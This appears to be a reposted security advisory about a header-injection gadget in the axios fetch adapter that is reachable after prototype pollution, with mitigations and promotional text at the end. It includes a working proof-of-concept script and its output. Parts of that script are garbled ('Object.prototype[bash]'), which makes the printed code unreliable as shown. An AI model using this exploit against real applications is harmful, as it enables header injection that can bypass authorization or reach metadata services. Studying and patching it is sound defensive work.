Listen to this Post
Axios contains a guard in the Node HTTP adapter.
The guard avoids inherited Object.prototype.getHeaders as a FormData header source.
The fetch adapter calls shared resolveConfig() before dispatch.
resolveConfig() lacks the same guard.
resolveConfig() checks utils.isFormData(data).
If true, it may set content type or call setFormDataHeaders.
It only checks utils.isFunction(data.getHeaders).
It does not reject Object.prototype.getHeaders.
If Object.prototype is polluted with FormData-like properties, detection can pass.
Inherited Symbol.toStringTag can be set to ‘FormData’.
Inherited append can make isFormData() accept the body.
Inherited getHeaders can return attacker-controlled headers.
resolveConfig() can merge those returned headers.
The fetch adapter then sends the outbound request with those headers.
Axios does not create the prototype pollution source.
This is a read-side gadget in the fetch adapter configuration path.
Precondition: a prior same-process prototype-pollution primitive exists.
The request body must be an array or non-plain class instance.
Plain objects are blocked by the current isFormData() plain-object guard.
Confirmed path uses arrays or non-plain class instances.
Node HTTP adapter later FormData path checks data.getHeaders !== Object.prototype.getHeaders.
That Node HTTP adapter path is not affected by this mismatch.
Processes without prototype pollution are not affected.
An attacker can inject arbitrary headers into fetch-adapter requests.
Impact may affect authorization, metadata-service access, cache behavior, conditional request handling, or application-specific header logic.
Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders.
An array body with adapter: ‘fetch’ caused loopback server to receive X-Poisoned: yes.
Original report validated on axios 1.17.0, commit 4306df2, Node.js v24.15.0.
Workaround: use Node HTTP adapter for server-side requests in polluted processes.
Workaround: avoid array or class-instance bodies through fetch adapter when pollution is suspected.
DailyCVE Form:
Platform: Axios
Version: 1.17.0, 1.18.1
Vulnerability : Fetch header injection
Severity: Not specified
date: Not provided
Prediction: Expected patch unknown
What Undercode Say:
Analytics
grep -R "getHeaders !== Object.prototype.getHeaders" lib/adapters/http.js grep -R "utils.isFormData(data)" lib/helpers/resolveConfig.js grep -R "setFormDataHeaders" lib/helpers/resolveConfig.js node poc.js curl -v http://127.0.0.1:PORT/fetch-formdata
if (utils.isFormData(data)) {
if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
headers.setContentType(undefined);
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
}
Exploit: (Educational Purposes!)
import axios from './index.js';
import http from 'http';
const start = (handler) => new Promise((resolve) => {
const server = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => (body += chunk));
req.on('end', () => handler(req, res, body));
});
server.listen(0, '127.0.0.1', () => resolve(server));
});
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const tag = Symbol.toStringTag;
const server = await start((req, res, body) => {
hits.push({ headers: req.headers, body });
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});
try {
Object.prototype[bash] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => {
const headers = Object.create(null);
headers['X-Poisoned'] = 'yes';
return headers;
};
await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
adapter: 'fetch',
timeout: 3000
});
console.log(hits[bash]);
} finally {
delete Object.prototype[bash];
delete Object.prototype.append;
delete Object.prototype.getHeaders;
await stop(server);
}
Observed wire request:
{
"headers": {
"x-poisoned": "yes",
"content-type": "text/plain;charset=UTF-8",
"content-length": "3"
},
"body": "a,b"
}
Protection: from this CVE
Use the Node HTTP adapter for server-side requests that may run in a polluted process.
Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.
Do not allow a prior same-process prototype-pollution primitive.
Ensure Object.prototype.getHeaders is not inherited into FormData header handling.
Reject inherited Object.prototype.getHeaders in resolveConfig().
Apply the same guard used by lib/adapters/http.js.
Keep FormData detection from accepting polluted arrays or non-plain class instances.
Run server-side fetch-adapter requests in clean processes.
Monitor for polluted Object.prototype[Symbol.toStringTag], append, and getHeaders.
Validate outbound headers before dispatch.
Treat fetch-adapter requests as affected when prototype pollution is present.
Impact:
An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests.
This may affect authorization.
This may affect metadata-service access.
This may affect cache behavior.
This may affect conditional request handling.
This may affect application-specific header logic.
Plain objects are blocked by current FormData detection.
The confirmed path uses arrays or non-plain class instances.
The Node HTTP adapter’s later FormData header path is not affected.
Processes without prototype pollution are not affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

